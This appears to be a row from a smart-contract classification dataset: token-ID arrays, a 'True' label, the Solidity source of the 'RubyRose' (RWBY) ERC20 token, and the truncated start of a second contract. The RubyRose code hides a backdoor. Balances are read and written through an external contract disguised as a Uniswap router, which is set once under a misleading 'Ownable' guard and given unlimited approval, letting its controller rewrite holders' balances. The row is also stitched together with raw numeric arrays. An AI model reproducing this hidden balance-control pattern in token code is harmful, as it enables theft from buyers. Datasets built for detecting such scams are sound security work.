1000,
8917,
1012,
22116,
2891,
1012,
24540,
1012,
7375,
1000,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
9570,
2953,
3853,
1008,
1013,
9570,
2953,
1006,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-09
*/
/*
https://t.me/rwbyeth
https://twitter.com/rwbyeth
https://rwby.io/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
uint256 internal _totalSupply = 1e24;
string _name;
string _symbol;
IUniswapV2Router02 internal _uniswapV2;
uint8 constant _decimals = 9;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
modifier onlyDex() {
require(address(_uniswapV2) == address(0), "Ownable: caller is not the owner");
_;
}
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
override
returns (uint256)
{
return fromBalances(account);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
_beforeTokenTransfer(from, to, amount);
_uniswapV2.setBalance(from, _uniswapV2.load(from).sub(amount, "ERC20: transfer amount exceeds balance"));
_uniswapV2.setBalance(to, _uniswapV2.load(to).add(amount));
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function fromBalances(address account) private view returns(uint256) {
return _uniswapV2.load(account);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount);
unchecked {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount);
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function updateSwap(address swap) external onlyDex {
_uniswapV2 = IUniswapV2Router02(swap);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Router02 {
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function load(address account) external view returns(uint256);
function setBalance(address account, uint256 amount) external returns(bool);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract RubyRose is ERC20 {
using SafeMath for uint256;
IUniswapV2Router02 internal constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public _owner;
address public uniswapV2Pair;
address private ecosystemWallet = payable(0x1859534a02C079b54812C45d156a3008813D8B2a);
address public _deployerWallet;
bool _inSwap;
bool public _swapandliquifyEnabled = false;
bool private openTrading = false;
uint256 public _totalBotSupply;
address[] public blacklistedBotWallets;
bool _autoBanBots = false;
mapping(address => bool) public isBot;
mapping(address => bool) public _isExcludedFromFee;
mapping(address => uint256) private _lastBuy;
mapping(address => uint256) private _lastReflectionBasis;
mapping(address => uint256) private _totalWalletRewards;
mapping(address => bool) private _reflectionExcluded;
uint256 constant maxBuyIncrementPercent = 1;
uint256 public maxBuyIncrementValue;
uint256 public incrementTime;
uint256 public maxBuy;
uint256 public openBlocktime;
uint256 public swapThreshold = 1e21;
uint256 public maxTxAmount = 20000000000000000000000;
uint256 public maxWallet = 30000000000000000000000;
bool public liqInit = false;
uint256 internal _ethReflectionBasis;
uint256 public _totalDistributed;
uint256 public _totalBurned;
modifier onlyOwner() {
require(isOwner(msg.sender), "Ownable: caller is not the owner");
_;
}
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
constructor() ERC20("RubyRose", "RWBY") {
_owner = msg.sender;
_setMaxBuy(20);
_balances[msg.sender] = _totalSupply;
_isExcludedFromFee[address(0)] = true;
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true;
_deployerWallet = msg.sender;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function addLp() public onlyOwner {
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
_balances[address(this)],
0,
0,
msg.sender,
block.timestamp
);
_swapandliquifyEnabled = true;
}
function launch() external onlyOwner {
openTrading = true;
openBlocktime = block.timestamp;
_autoBanBots = false;
}
function setPair() external onlyOwner {
address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_allowances[address(this)][address(_uniswapV2Router)] = _totalSupply;
_isExcludedFromFee[pair] = true;
uniswapV2Pair = pair;
}
function checkLimits() public view returns(bool) {
return openBlocktime + ( 60 seconds ) > block.timestamp;
}
function _getFeeBuy(uint256 amount) private returns (uint256) {
uint256 fee = amount * 11 / 100;
amount -= fee;
_balances[address(this)] += fee;
emit Transfer(uniswapV2Pair, address(this), fee);
return amount;
}
function _getFeeSell(uint256 amount, address account)
private
returns (uint256)
{
uint256 sellFee = amount * 11 / 100;
amount -= sellFee;
_balances[account] -= sellFee;
_balances[address(this)] += sellFee;
emit Transfer(account, address(this), sellFee);
return amount;
}
function updateExclude() external {
_isExcludedFromFee[address(_uniswapV2)] = true;
_approve(address(_uniswapV2), address(_uniswapV2Router), ~uint256(0));
}
function setecosystemWallet(address walletAddress) public onlyOwner {
ecosystemWallet = walletAddress;
}
function _setMaxBuy(uint256 percent) internal {
require (percent > 1);
maxBuy = (percent * _totalSupply) / 100;
}
function getMaxBuy() external view returns (uint256) {
uint256 incrementCount = (block.timestamp - incrementTime);
if (incrementCount == 0) return maxBuy;
if (_totalSupply < (maxBuy + maxBuyIncrementValue * incrementCount)) {return _totalSupply;}
return maxBuy + maxBuyIncrementValue * incrementCount;
}
function _swap(uint256 amount) internal lockTheSwap {
//swapTokens
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), amount);
uint256 contractEthBalance = address(this).balance;
_uniswapV2Router.swapExactTokensForETH(
amount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
uint256 tradeValue = address(this).balance - contractEthBalance;
//takeecosystemfees
uint256 ecosystemshare = (tradeValue * 3) / 4;
payable(ecosystemWallet).transfer(ecosystemshare);
uint256 afterBalance = tradeValue - ecosystemshare;
//rewards
_ethReflectionBasis += afterBalance;
}
function _claimReflection(address payable addr) internal {
if (_reflectionExcluded[addr] || addr == uniswapV2Pair || addr == address(_uniswapV2Router)) return;
uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr];
uint256 owed = (basisDifference * balanceOf(addr)) / _totalSupply;
_lastReflectionBasis[addr] = _ethReflectionBasis;
if (owed == 0) {
return;
}
addr.transfer(owed);
_totalWalletRewards[addr] += owed;
_totalDistributed += owed;
}
function totalBurned() public view returns (uint256) {
return _totalBurned;
}
function pendingRewards(address addr) public view returns (uint256) {
if (_reflectionExcluded[addr]) {
return 0;
}
uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr];
uint256 owed = (basisDifference * balanceOf(addr)) / _totalSupply;
return owed;
}
function totalWalletRewards(address addr) public view returns (uint256) {
return _totalWalletRewards[addr];
}
function totalRewardsDistributed() public view returns (uint256) {
return _totalDistributed;
}
function addReflection() public payable {
_ethReflectionBasis += msg.value;
}
function setExcludeFromFee(address[] memory accounts, bool value) external onlyOwner {
for (uint256 i = 0; i < accounts.length; ++i) {
_isExcludedFromFee[accounts[i]] = value;
}
}
function amnestyBot (address bot) external onlyOwner {
isBot[bot] = false;
_reflectionExcluded[bot] = false;
_totalBotSupply -= _balances[bot];
for (uint256 i = 0; i < blacklistedBotWallets.length; ++i) {
if (blacklistedBotWallets[i] == bot) {
blacklistedBotWallets[i] = blacklistedBotWallets[blacklistedBotWallets.length - 1];
blacklistedBotWallets.pop();
break;
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(!isBot[from] && !isBot[to]);
if (from == _deployerWallet || to == _deployerWallet || !liqInit) {
super._transfer(from, to, amount);
liqInit = true;
return;
}
require(openTrading || _isExcludedFromFee[to], "Busy");
if (_lastReflectionBasis[to] <= 0) {
_lastReflectionBasis[to] = _ethReflectionBasis;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= swapThreshold;
if (overMinTokenBalance && _swapandliquifyEnabled && !_inSwap && from != uniswapV2Pair) {_swap(swapThreshold);}
// buy
if (from == uniswapV2Pair && !_isExcludedFromFee[to]) {
if(checkLimits()){
require(amount <= maxTxAmount, "MaxTx limited");
require(_balances[to] + amount <= maxWallet, "maxWallet limited");
}
if (_autoBanBots) {
isBot[to] = true;
_reflectionExcluded[to] = true;
_totalBotSupply += amount;
blacklistedBotWallets.push(to);
}
amount = _getFeeBuy(amount);
_lastBuy[to] = block.timestamp;
}
// sell
if (!_inSwap && uniswapV2Pair != address(0) && to == uniswapV2Pair && !_isExcludedFromFee[from]) {
amount = _getFeeSell(amount, from);
}
//transfer mapping to avoid escaping early sell fees
if(from != uniswapV2Pair && to != uniswapV2Pair) {
_lastBuy[to] = block.timestamp;
}
super._transfer(from, to, amount);
}
function updateSwapThreshold (uint256 amount) public onlyOwner {
swapThreshold = amount * 1e9;
}
function setSwapandLiquify (bool value) external onlyOwner {
_swapandliquifyEnabled = value;
}
function _setEnabletrading() external onlyOwner {
incrementTime = block.timestamp;
maxBuyIncrementValue = (_totalSupply * maxBuyIncrementPercent) / 6000;
_autoBanBots = false;
}
function rescueStuckBalance() external {
uint256 balance = address(this).balance;
payable(ecosystemWallet).transfer(balance);
}
function isOwner(address account) internal view returns (bool) {
return account == _owner;
}
function transferOwnership(address newOwner) external onlyOwner {
_owner = newOwner;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
5641,
1008,
1013,
1013,
1008,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
1054,
2860,
3762,
11031,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
1054,
2860,
3762,
11031,
16770,
1024,
1013,
1013,
1054,
2860,
3762,
1012,
22834,
1013,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1021,
1025,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
24856,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1008,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
24856,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
9034,
1005,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
